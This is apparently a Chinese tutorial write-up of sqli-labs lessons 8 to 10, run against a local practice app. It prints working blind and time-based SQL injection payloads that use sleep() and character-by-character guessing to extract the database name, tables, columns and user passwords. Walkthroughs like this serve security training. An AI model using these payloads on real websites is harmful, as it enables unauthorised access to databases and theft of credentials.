Less8
经过简单的测试,发现'or 1=1--+
返回结果正常,基本确定应该怎么注入了
这里查看源码可以看出,对sql报错进行了注释,那么采用报错注入就不行了
1 | http://127.0.0.1/sqli-labs/Less-8/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user())),0x3a,0x3a,floor(rand(0)*2))a from information schema.columns group by a--+ |
如果报错注入可以使用的话是可以直接返回user()的,但是这里没有返回。
其他的payload参考less5直接进行注入即可
less9
本关从标题可以看到《基于时间-单引号》,所以很明显这关要利用延时注入进行,同时id参数进行的是’的处理。大概演示一次演示注入。使用sleep()
函数
这里因为利用的是时间的延迟,贴图就没意义了,只写payload了:(正确的时候直接返回,不正确的时候等待5秒钟,只贴正确的)
猜测数据库
1 | http://127.0.0.1/sqli-labs/Less-9/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+ |
说明第一位是s(ascii码是115)
1 | http://127.0.0.1/sqli-labs/Less-9/?id=1' and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+ |
说明第二位是e(ascii码是101)
……
以此类推,我们知道了数据库名字是security
猜测security的数据表
1 | http://127.0.0.1/sqli-labs/Less-9/?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+ |
猜测第一个数据表的第一位是 e,…依次类推,得到email
1 | http://127.0.0.1/sqli-labs/Less-9/?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+ |
猜测第二个数据表的第一位是 r,…依次类推,得到referers
……
再以此类推,我们可以得到所有的数据表emails,referers,uagents,users
猜测users表的列
1 | http://127.0.0.1/sqli-labs/Less-9/?id=1 'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+ |
猜测users
表的第一个列的第一个字符是 i,
以此类推,我们得到列名是id,username,password
猜测username的值
1 | http://127.0.0.1/sqli-labs/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1), 1,1))=67,1,sleep(5))--+ |
猜测username
的第一行的第一位
以此类推,我们得到数据库username,password
的所有内容
Less10
本关我们从标题就可以看到《基于时间-双引号》,所以很明显的这关要我们利用延时注入进行,同时id参数进行的是“的处理。和less9的区别就在于单引号(‘)变成了(“),我们这里给出一个 payload 示例,其他的请参考 less-9
猜测数据库
1 | http://127.0.0.1/sqli-labs/Less-10/?id=1" and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+ |
其余的示例请参考 less9